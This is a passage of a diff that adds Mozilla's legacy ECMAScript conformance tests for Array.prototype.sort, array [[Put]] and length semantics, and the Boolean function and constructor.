+ 4.If the argument comparefn was not provided in the call to sort, go to step 7.
+ 5.Call comparefn with arguments x and y.
+ 6.Return Result(5).
+ 7.Call ToString(x).
+ 8.Call ToString(y).
+ 9.If Result(7) < Result(8), return 1.
+ 10.If Result(7) > Result(8), return 1.
+ 11.Return +0.
+
+ Note that, because undefined always compared greater than any other value, undefined and nonexistent
+ property values always sort to the end of the result. It is implementation-dependent whether or not such
+ properties will exist or not at the end of the array when the sort is concluded.
+
+ Note that the sort function is intentionally generic; it does not require that its this value be an Array object.
+ Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be
+ applied successfully to a host object is implementation dependent .
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var S = new Array();
+var item = 0;
+
+// array is empty.
+S[item++] = "var A = new Array()";
+
+// array contains one item
+S[item++] = "var A = new Array( true )";
+
+// length of array is 2
+S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )";
+
+S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0";
+
+S[item] = "var A = new Array( ";
+
+var limit = 0x0061;
+for ( var i = 0x007A; i >= limit; i-- ) {
+ S[item] += "\'"+ String.fromCharCode(i) +"\'" ;
+ if ( i > limit ) {
+ S[item] += ",";
+ }
+}
+
+S[item] += ")";
+
+for ( var i = 0; i < S.length; i++ ) {
+ CheckItems( S[i] );
+}
+
+test();
+
+function CheckItems( S ) {
+ eval( S );
+ var E = Sort( A );
+
+ new TestCase( SECTION,
+ S +"; A.sort(Compare); A.length",
+ E.length,
+ eval( S + "; A.sort(Compare); A.length") );
+
+ for ( var i = 0; i < E.length; i++ ) {
+ new TestCase(
+ SECTION,
+ "A["+i+ "].toString()",
+ E[i] +"",
+ A[i] +"");
+
+ if ( A[i] == void 0 && typeof A[i] == "undefined" ) {
+ new TestCase(
+ SECTION,
+ "typeof A["+i+ "]",
+ typeof E[i],
+ typeof A[i] );
+ }
+ }
+}
+function Object_1( value ) {
+ this.array = value.split(",");
+ this.length = this.array.length;
+ for ( var i = 0; i < this.length; i++ ) {
+ this[i] = eval(this.array[i]);
+ }
+ this.sort = Array.prototype.sort;
+ this.getClass = Object.prototype.toString;
+}
+function Sort( a ) {
+ var r1 = a.length;
+ for ( i = 0; i < a.length; i++ ) {
+ for ( j = i+1; j < a.length; j++ ) {
+ var lo = a[i];
+ var hi = a[j];
+ var c = Compare( lo, hi );
+ if ( c == 1 ) {
+ a[i] = hi;
+ a[j] = lo;
+ }
+ }
+ }
+ return a;
+}
+function Compare( x, y ) {
+ if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) {
+ return +0;
+ }
+ if ( x == void 0 && typeof x == "undefined" ) {
+ return 1;
+ }
+ if ( y == void 0 && typeof y == "undefined" ) {
+ return -1;
+ }
+ x = String(x);
+ y = String(y);
+ if ( x < y ) {
+ return 1;
+ }
+ if ( x > y ) {
+ return -1;
+ }
+ return 0;
+}
diff --git a/js/src/tests/ecma/Array/15.4.4.5-3.js b/js/src/tests/ecma/Array/15.4.4.5-3.js
new file mode 100644
index 000000000..5b69e33ec
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.5-3.js
@@ -0,0 +1,148 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.5-3.js
+ ECMA Section: Array.prototype.sort(comparefn)
+ Description:
+
+ This is a regression test for
+ http://scopus/bugsplat/show_bug.cgi?id=117144
+
+ Verify that sort is successfull, even if the sort compare function returns
+ a very large negative or positive value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "15.4.4.5-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.prototype.sort(comparefn)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var array = new Array();
+
+array[array.length] = new Date( TIME_2000 * Math.PI );
+array[array.length] = new Date( TIME_2000 * 10 );
+array[array.length] = new Date( TIME_1900 + TIME_1900 );
+array[array.length] = new Date(0);
+array[array.length] = new Date( TIME_2000 );
+array[array.length] = new Date( TIME_1900 + TIME_1900 +TIME_1900 );
+array[array.length] = new Date( TIME_1900 * Math.PI );
+array[array.length] = new Date( TIME_1900 * 10 );
+array[array.length] = new Date( TIME_1900 );
+array[array.length] = new Date( TIME_2000 + TIME_2000 );
+array[array.length] = new Date( 1899, 0, 1 );
+array[array.length] = new Date( 2000, 1, 29 );
+array[array.length] = new Date( 2000, 0, 1 );
+array[array.length] = new Date( 1999, 11, 31 );
+
+var testarr1 = new Array();
+clone( array, testarr1 );
+testarr1.sort( comparefn1 );
+
+var testarr2 = new Array();
+clone( array, testarr2 );
+testarr2.sort( comparefn2 );
+
+testarr3 = new Array();
+clone( array, testarr3 );
+testarr3.sort( comparefn3 );
+
+// when there's no sort function, sort sorts by the toString value of Date.
+
+var testarr4 = new Array();
+clone( array, testarr4 );
+testarr4.sort();
+
+var realarr = new Array();
+clone( array, realarr );
+realarr.sort( realsort );
+
+var stringarr = new Array();
+clone( array, stringarr );
+stringarr.sort( stringsort );
+
+for ( var i = 0; i < array.length; i++) {
+ new TestCase(
+ SECTION,
+ "testarr1["+i+"]",
+ realarr[i],
+ testarr1[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ SECTION,
+ "testarr2["+i+"]",
+ realarr[i],
+ testarr2[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ SECTION,
+ "testarr3["+i+"]",
+ realarr[i],
+ testarr3[i] );
+}
+
+for ( var i=0; i < array.length; i++) {
+ new TestCase(
+ SECTION,
+ "testarr4["+i+"]",
+ stringarr[i].toString(),
+ testarr4[i].toString() );
+}
+
+test();
+
+function comparefn1( x, y ) {
+ return x - y;
+}
+function comparefn2( x, y ) {
+ return x.valueOf() - y.valueOf();
+}
+function realsort( x, y ) {
+ return ( x.valueOf() == y.valueOf() ? 0 : ( x.valueOf() > y.valueOf() ? 1 : -1 ) );
+}
+function comparefn3( x, y ) {
+ return ( x == y ? 0 : ( x > y ? 1: -1 ) );
+}
+function clone( source, target ) {
+ for (i = 0; i < source.length; i++ ) {
+ target[i] = source[i];
+ }
+}
+function stringsort( x, y ) {
+ for ( var i = 0; i < x.toString().length; i++ ) {
+ var d = (x.toString()).charCodeAt(i) - (y.toString()).charCodeAt(i);
+ if ( d > 0 ) {
+ return 1;
+ } else {
+ if ( d < 0 ) {
+ return -1;
+ } else {
+ continue;
+ }
+ }
+
+ var d = x.length - y.length;
+
+ if ( d > 0 ) {
+ return 1;
+ } else {
+ if ( d < 0 ) {
+ return -1;
+ }
+ }
+ }
+ return 0;
+}
diff --git a/js/src/tests/ecma/Array/15.4.4.js b/js/src/tests/ecma/Array/15.4.4.js
new file mode 100644
index 000000000..b3410d873
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.4.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.4.js
+ ECMA Section: 15.4.4 Properties of the Array Prototype Object
+ Description: The value of the internal [[Prototype]] property of
+ the Array prototype object is the Object prototype
+ object.
+
+ Note that the Array prototype object is itself an
+ array; it has a length property (whose initial value
+ is (0) and the special [[Put]] method.
+
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.4.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the Array Prototype Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "Array.prototype.length", 0, Array.prototype.length );
+
+// verify that prototype object is an Array object.
+new TestCase( SECTION, "typeof Array.prototype", "object", typeof Array.prototype );
+
+new TestCase( SECTION,
+ "Array.prototype.toString = Object.prototype.toString; Array.prototype.toString()",
+ "[object Array]",
+ eval("Array.prototype.toString = Object.prototype.toString; Array.prototype.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.5.1-1.js b/js/src/tests/ecma/Array/15.4.5.1-1.js
new file mode 100644
index 000000000..724710aa3
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.5.1-1.js
@@ -0,0 +1,138 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.5.1-1.js
+ ECMA Section: [[ Put]] (P, V)
+ Description:
+ Array objects use a variation of the [[Put]] method used for other native
+ ECMAScript objects (section 8.6.2.2).
+
+ Assume A is an Array object and P is a string.
+
+ When the [[Put]] method of A is called with property P and value V, the
+ following steps are taken:
+
+ 1. Call the [[CanPut]] method of A with name P.
+ 2. If Result(1) is false, return.
+ 3. If A doesn't have a property with name P, go to step 7.
+ 4. If P is "length", go to step 12.
+ 5. Set the value of property P of A to V.
+ 6. Go to step 8.
+ 7. Create a property with name P, set its value to V and give it empty
+ attributes.
+ 8. If P is not an array index, return.
+ 9. If A itself has a property (not an inherited property) named "length",
+ andToUint32(P) is less than the value of the length property of A, then
+ return.
+ 10. Change (or set) the value of the length property of A to ToUint32(P)+1.
+ 11. Return.
+ 12. Compute ToUint32(V).
+ 13. For every integer k that is less than the value of the length property
+ of A but not less than Result(12), if A itself has a property (not an
+ inherited property) named ToString(k), then delete that property.
+ 14. Set the value of property P of A to Result(12).
+ 15. Return.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.4.5.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array [[Put]] (P, V)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// P is "length"
+
+new TestCase( SECTION,
+ "var A = new Array(); A.length = 1000; A.length",
+ 1000,
+ eval("var A = new Array(); A.length = 1000; A.length") );
+
+// A has Property P, and P is not length or an array index
+new TestCase( SECTION,
+ "var A = new Array(1000); A.name = 'name of this array'; A.name",
+ 'name of this array',
+ eval("var A = new Array(1000); A.name = 'name of this array'; A.name") );
+
+new TestCase( SECTION,
+ "var A = new Array(1000); A.name = 'name of this array'; A.length",
+ 1000,
+ eval("var A = new Array(1000); A.name = 'name of this array'; A.length") );
+
+
+// A has Property P, P is not length, P is an array index, and ToUint32(p) is less than the
+// value of length
+
+new TestCase( SECTION,
+ "var A = new Array(1000); A[123] = 'hola'; A[123]",
+ 'hola',
+ eval("var A = new Array(1000); A[123] = 'hola'; A[123]") );
+
+new TestCase( SECTION,
+ "var A = new Array(1000); A[123] = 'hola'; A.length",
+ 1000,
+ eval("var A = new Array(1000); A[123] = 'hola'; A.length") );
+
+
+for ( var i = 0X0020, TEST_STRING = "var A = new Array( " ; i < 0x00ff; i++ ) {
+ if (i === "u".charCodeAt(0) || i === "x".charCodeAt(0))
+ continue;
+ TEST_STRING += "\'\\"+ String.fromCharCode( i ) +"\'";
+ if ( i < 0x00FF - 1 ) {
+ TEST_STRING += ",";
+ } else {
+ TEST_STRING += ");"
+ }
+}
+
+var LENGTH = 0x00ff - 0x0020 - 2 /* "u"/"x" exclusions above */;
+
+new TestCase( SECTION,
+ TEST_STRING +" A[150] = 'hello'; A[150]",
+ 'hello',
+ eval( TEST_STRING + " A[150] = 'hello'; A[150]" ) );
+
+new TestCase( SECTION,
+ TEST_STRING +" A[150] = 'hello'; A[150]",
+ LENGTH,
+ eval( TEST_STRING + " A[150] = 'hello'; A.length" ) );
+
+// A has Property P, P is not length, P is an array index, and ToUint32(p) is not less than the
+// value of length
+
+new TestCase( SECTION,
+ "var A = new Array(); A[123] = true; A.length",
+ 124,
+ eval("var A = new Array(); A[123] = true; A.length") );
+
+new TestCase( SECTION,
+ "var A = new Array(0,1,2,3,4,5,6,7,8,9,10); A[15] ='15'; A.length",
+ 16,
+ eval("var A = new Array(0,1,2,3,4,5,6,7,8,9,10); A[15] ='15'; A.length") );
+
+for ( var i = 0; i < A.length; i++ ) {
+ new TestCase( SECTION,
+ "var A = new Array(0,1,2,3,4,5,6,7,8,9,10); A[15] ='15'; A[" +i +"]",
+ (i <= 10) ? i : ( i == 15 ? '15' : void 0 ),
+ A[i] );
+}
+// P is not an array index, and P is not "length"
+
+new TestCase( SECTION,
+ "var A = new Array(); A.join.length = 4; A.join.length",
+ 1,
+ eval("var A = new Array(); A.join.length = 4; A.join.length") );
+
+new TestCase( SECTION,
+ "var A = new Array(); A.join.length = 4; A.length",
+ 0,
+ eval("var A = new Array(); A.join.length = 4; A.length") );
+
+test();
diff --git a/js/src/tests/ecma/Array/15.4.5.1-2.js b/js/src/tests/ecma/Array/15.4.5.1-2.js
new file mode 100644
index 000000000..6cb93fc3d
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.5.1-2.js
@@ -0,0 +1,118 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.5.1-2.js
+ ECMA Section: [[ Put]] (P, V)
+ Description:
+ Array objects use a variation of the [[Put]] method used for other native
+ ECMAScript objects (section 8.6.2.2).
+
+ Assume A is an Array object and P is a string.
+
+ When the [[Put]] method of A is called with property P and value V, the
+ following steps are taken:
+
+ 1. Call the [[CanPut]] method of A with name P.
+ 2. If Result(1) is false, return.
+ 3. If A doesn't have a property with name P, go to step 7.
+ 4. If P is "length", go to step 12.
+ 5. Set the value of property P of A to V.
+ 6. Go to step 8.
+ 7. Create a property with name P, set its value to V and give it empty
+ attributes.
+ 8. If P is not an array index, return.
+ 9. If A itself has a property (not an inherited property) named "length",
+ andToUint32(P) is less than the value of the length property of A, then
+ return.
+ 10. Change (or set) the value of the length property of A to ToUint32(P)+1.
+ 11. Return.
+ 12. Compute ToUint32(V).
+ 13. For every integer k that is less than the value of the length property
+ of A but not less than Result(12), if A itself has a property (not an
+ inherited property) named ToString(k), then delete that property.
+ 14. Set the value of property P of A to Result(12).
+ 15. Return.
+
+
+ These are gTestcases from Waldemar, detailed in
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=123552
+
+ Author: christine@netscape.com
+ Date: 15 June 1998
+*/
+
+var SECTION = "15.4.5.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array [[Put]] (P,V)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var a = new Array();
+
+AddCase( "3.00", "three" );
+AddCase( "00010", "eight" );
+AddCase( "37xyz", "thirty-five" );
+AddCase("5000000000", 5)
+ AddCase( "-2", -3 );
+
+new TestCase( SECTION,
+ "a[10]",
+ void 0,
+ a[10] );
+
+new TestCase( SECTION,
+ "a[3]",
+ void 0,
+ a[3] );
+
+a[4] = "four";
+
+new TestCase( SECTION,
+ "a[4] = \"four\"; a[4]",
+ "four",
+ a[4] );
+
+new TestCase( SECTION,
+ "a[\"4\"]",
+ "four",
+ a["4"] );
+
+new TestCase( SECTION,
+ "a[\"4.00\"]",
+ void 0,
+ a["4.00"] );
+
+new TestCase( SECTION,
+ "a.length",
+ 5,
+ a.length );
+
+
+a["5000000000"] = 5;
+
+new TestCase( SECTION,
+ "a[\"5000000000\"] = 5; a.length",
+ 5,
+ a.length );
+
+new TestCase( SECTION,
+ "a[\"-2\"] = -3; a.length",
+ 5,
+ a.length );
+
+test();
+
+function AddCase ( arg, value ) {
+
+ a[arg] = value;
+
+ new TestCase( SECTION,
+ "a[\"" + arg + "\"] = "+ value +"; a.length",
+ 0,
+ a.length );
+}
diff --git a/js/src/tests/ecma/Array/15.4.5.2-1.js b/js/src/tests/ecma/Array/15.4.5.2-1.js
new file mode 100644
index 000000000..767c85c6f
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.5.2-1.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.5.2-1.js
+ ECMA Section: Array.length
+ Description:
+ 15.4.5.2 length
+ The length property of this Array object is always numerically greater
+ than the name of every property whose name is an array index.
+
+ The length property has the attributes { DontEnum, DontDelete }.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.4.5.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.length";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var A = new Array(); A.length",
+ 0,
+ eval("var A = new Array(); A.length") );
+new TestCase( SECTION,
+ "var A = new Array(); A[Math.pow(2,32)-2] = 'hi'; A.length",
+ Math.pow(2,32)-1,
+ eval("var A = new Array(); A[Math.pow(2,32)-2] = 'hi'; A.length") );
+new TestCase( SECTION,
+ "var A = new Array(); A.length = 123; A.length",
+ 123,
+ eval("var A = new Array(); A.length = 123; A.length") );
+new TestCase( SECTION,
+ "var A = new Array(); A.length = 123; var PROPS = ''; for ( var p in A ) { PROPS += ( p == 'length' ? p : ''); } PROPS",
+ "",
+ eval("var A = new Array(); A.length = 123; var PROPS = ''; for ( var p in A ) { PROPS += ( p == 'length' ? p : ''); } PROPS") );
+new TestCase( SECTION,
+ "var A = new Array(); A.length = 123; delete A.length",
+ false ,
+ eval("var A = new Array(); A.length = 123; delete A.length") );
+new TestCase( SECTION,
+ "var A = new Array(); A.length = 123; delete A.length; A.length",
+ 123,
+ eval("var A = new Array(); A.length = 123; delete A.length; A.length") );
+test();
+
diff --git a/js/src/tests/ecma/Array/15.4.5.2-2.js b/js/src/tests/ecma/Array/15.4.5.2-2.js
new file mode 100644
index 000000000..7a21410bb
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4.5.2-2.js
@@ -0,0 +1,93 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4.5.2-2.js
+ ECMA Section: Array.length
+ Description:
+ 15.4.5.2 length
+ The length property of this Array object is always numerically greater
+ than the name of every property whose name is an array index.
+
+ The length property has the attributes { DontEnum, DontDelete }.
+
+ This test verifies that the Array.length property is not Read Only.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.4.5.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array.length";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addCase( new Array(), 0, Math.pow(2,14), Math.pow(2,14) );
+
+addCase( new Array(), 0, 1, 1 );
+
+addCase( new Array(Math.pow(2,12)), Math.pow(2,12), 0, 0 );
+addCase( new Array(Math.pow(2,13)), Math.pow(2,13), Math.pow(2,12), Math.pow(2,12) );
+addCase( new Array(Math.pow(2,12)), Math.pow(2,12), Math.pow(2,12), Math.pow(2,12) );
+addCase( new Array(Math.pow(2,14)), Math.pow(2,14), Math.pow(2,12), Math.pow(2,12) )
+
+// some tests where array is not empty
+// array is populated with strings
+ for ( var arg = "", i = 0; i < Math.pow(2,12); i++ ) {
+ arg += String(i) + ( i != Math.pow(2,12)-1 ? "," : "" );
+
+ }
+// print(i +":"+arg);
+
+var a = eval( "new Array("+arg+")" );
+
+addCase( a, i, i, i );
+addCase( a, i, Math.pow(2,12)+i+1, Math.pow(2,12)+i+1, true );
+addCase( a, Math.pow(2,12)+5, 0, 0, true );
+
+test();
+
+function addCase( object, old_len, set_len, new_len, checkitems ) {
+ object.length = set_len;
+
+ new TestCase( SECTION,
+ "array = new Array("+ old_len+"); array.length = " + set_len +
+ "; array.length",
+ new_len,
+ object.length );
+
+ if ( checkitems ) {
+ // verify that items between old and newlen are all undefined
+ if ( new_len < old_len ) {
+ var passed = true;
+ for ( var i = new_len; i < old_len; i++ ) {
+ if ( object[i] != void 0 ) {
+ passed = false;
+ }
+ }
+ new TestCase( SECTION,
+ "verify that array items have been deleted",
+ true,
+ passed );
+ }
+ if ( new_len > old_len ) {
+ var passed = true;
+ for ( var i = old_len; i < new_len; i++ ) {
+ if ( object[i] != void 0 ) {
+ passed = false;
+ }
+ }
+ new TestCase( SECTION,
+ "verify that new items are undefined",
+ true,
+ passed );
+ }
+ }
+
+}
+
diff --git a/js/src/tests/ecma/Array/array-length-set-during-for-in.js b/js/src/tests/ecma/Array/array-length-set-during-for-in.js
new file mode 100644
index 000000000..83d476f7f
--- /dev/null
+++ b/js/src/tests/ecma/Array/array-length-set-during-for-in.js
@@ -0,0 +1,10 @@
+var a = [0, 1];
+var iterations = 0;
+for (var k in a) {
+ iterations++;
+ a.length = 1;
+}
+assertEq(iterations, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma/Array/array-length-set-on-nonarray.js b/js/src/tests/ecma/Array/array-length-set-on-nonarray.js
new file mode 100644
index 000000000..bc47c7477
--- /dev/null
+++ b/js/src/tests/ecma/Array/array-length-set-on-nonarray.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 548671;
+var summary =
+ "Don't use a shared-permanent inherited property to implement " +
+ "[].length or (function(){}).length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [];
+a.p = 1;
+var x = Object.create(a);
+assertEq(x.length, 0);
+assertEq(x.p, 1);
+assertEq(a.length, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma/Array/browser.js b/js/src/tests/ecma/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Array/browser.js
diff --git a/js/src/tests/ecma/Array/shell.js b/js/src/tests/ecma/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Array/shell.js
diff --git a/js/src/tests/ecma/Boolean/15.6.1.js b/js/src/tests/ecma/Boolean/15.6.1.js
new file mode 100644
index 000000000..8725c978b
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.1.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.1.js
+ ECMA Section: 15.6.1 The Boolean Function
+ 15.6.1.1 Boolean( value )
+ 15.6.1.2 Boolean ()
+ Description: Boolean( value ) should return a Boolean value
+ not a Boolean object) computed by
+ Boolean.toBooleanValue( value)
+
+ 15.6.1.2 Boolean() returns false
+
+ Author: christine@netscape.com
+ Date: 27 jun 1997
+
+
+ Data File Fields:
+ VALUE Argument passed to the Boolean function
+ TYPE typeof VALUE (not used, but helpful in understanding
+ the data file)
+ E_RETURN Expected return value of Boolean( VALUE )
+*/
+var SECTION = "15.6.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Boolean constructor called as a function: Boolean( value ) and Boolean()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var array = new Array();
+var item = 0;
+
+new TestCase( SECTION, "Boolean(1)", true, Boolean(1) );
+new TestCase( SECTION, "Boolean(0)", false, Boolean(0) );
+new TestCase( SECTION, "Boolean(-1)", true, Boolean(-1) );
+new TestCase( SECTION, "Boolean('1')", true, Boolean("1") );
+new TestCase( SECTION, "Boolean('0')", true, Boolean("0") );
+new TestCase( SECTION, "Boolean('-1')", true, Boolean("-1") );
+new TestCase( SECTION, "Boolean(true)", true, Boolean(true) );
+new TestCase( SECTION, "Boolean(false)", false, Boolean(false) );
+
+new TestCase( SECTION, "Boolean('true')", true, Boolean("true") );
+new TestCase( SECTION, "Boolean('false')", true, Boolean("false") );
+new TestCase( SECTION, "Boolean(null)", false, Boolean(null) );
+
+new TestCase( SECTION, "Boolean(-Infinity)", true, Boolean(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "Boolean(NaN)", false, Boolean(Number.NaN) );
+new TestCase( SECTION, "Boolean(void(0))", false, Boolean( void(0) ) );
+new TestCase( SECTION, "Boolean(x=0)", false, Boolean( x=0 ) );
+new TestCase( SECTION, "Boolean(x=1)", true, Boolean( x=1 ) );
+new TestCase( SECTION, "Boolean(x=false)", false, Boolean( x=false ) );
+new TestCase( SECTION, "Boolean(x=true)", true, Boolean( x=true ) );
+new TestCase( SECTION, "Boolean(x=null)", false, Boolean( x=null ) );
+new TestCase( SECTION, "Boolean()", false, Boolean() );
+// array[item++] = new TestCase( SECTION, "Boolean(var someVar)", false, Boolean( someVar ) );
+
+test();
diff --git a/js/src/tests/ecma/Boolean/15.6.2.js b/js/src/tests/ecma/Boolean/15.6.2.js
new file mode 100644
index 000000000..781e39618
--- /dev/null
+++ b/js/src/tests/ecma/Boolean/15.6.2.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.6.2.js
+ ECMA Section: 15.6.2 The Boolean Constructor
+ 15.6.2.1 new Boolean( value )
+ 15.6.2.2 new Boolean()
+
+ This test verifies that the Boolean constructor
+ initializes a new object (typeof should return
+ "object"). The prototype of the new object should
+ be Boolean.prototype. The value of the object
+ should be ToBoolean( value ) (a boolean value).
+
+ Description:
+ Author: christine@netscape.com
+ Date: june 27, 1997
+
+*/
+var SECTION = "15.6.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "15.6.2 The Boolean Constructor; 15.6.2.1 new Boolean( value ); 15.6.2.2 new Boolean()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var array = new Array();
+var item = 0;
+
+new TestCase( SECTION, "typeof (new Boolean(1))", "object", typeof (new Boolean(1)) );
+new TestCase( SECTION, "(new Boolean(1)).constructor", Boolean.prototype.constructor, (new Boolean(1)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(1)).valueOf()", true, (new Boolean(1)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(1)", "object", typeof new Boolean(1) );
+new TestCase( SECTION, "(new Boolean(0)).constructor", Boolean.prototype.constructor, (new Boolean(0)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(0);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(0)).valueOf()", false, (new Boolean(0)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(0)", "object", typeof new Boolean(0) );
+new TestCase( SECTION, "(new Boolean(-1)).constructor", Boolean.prototype.constructor, (new Boolean(-1)).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean(-1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean(-1);TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean(-1)).valueOf()", true, (new Boolean(-1)).valueOf() );
+new TestCase( SECTION, "typeof new Boolean(-1)", "object", typeof new Boolean(-1) );
+new TestCase( SECTION, "(new Boolean('1')).constructor", Boolean.prototype.constructor, (new Boolean('1')).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean('1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean('1');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean('1')).valueOf()", true, (new Boolean('1')).valueOf() );
+new TestCase( SECTION, "typeof new Boolean('1')", "object", typeof new Boolean('1') );
+new TestCase( SECTION, "(new Boolean('0')).constructor", Boolean.prototype.constructor, (new Boolean('0')).constructor );
+new TestCase( SECTION,
+ "TESTBOOL=new Boolean('0');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()",
+ "[object Boolean]",
+ eval("TESTBOOL=new Boolean('0');TESTBOOL.toString=Object.prototype.toString;TESTBOOL.toString()") );
+new TestCase( SECTION, "(new Boolean('0')).valueOf()", true, (new Boolean('0')).valueOf() );
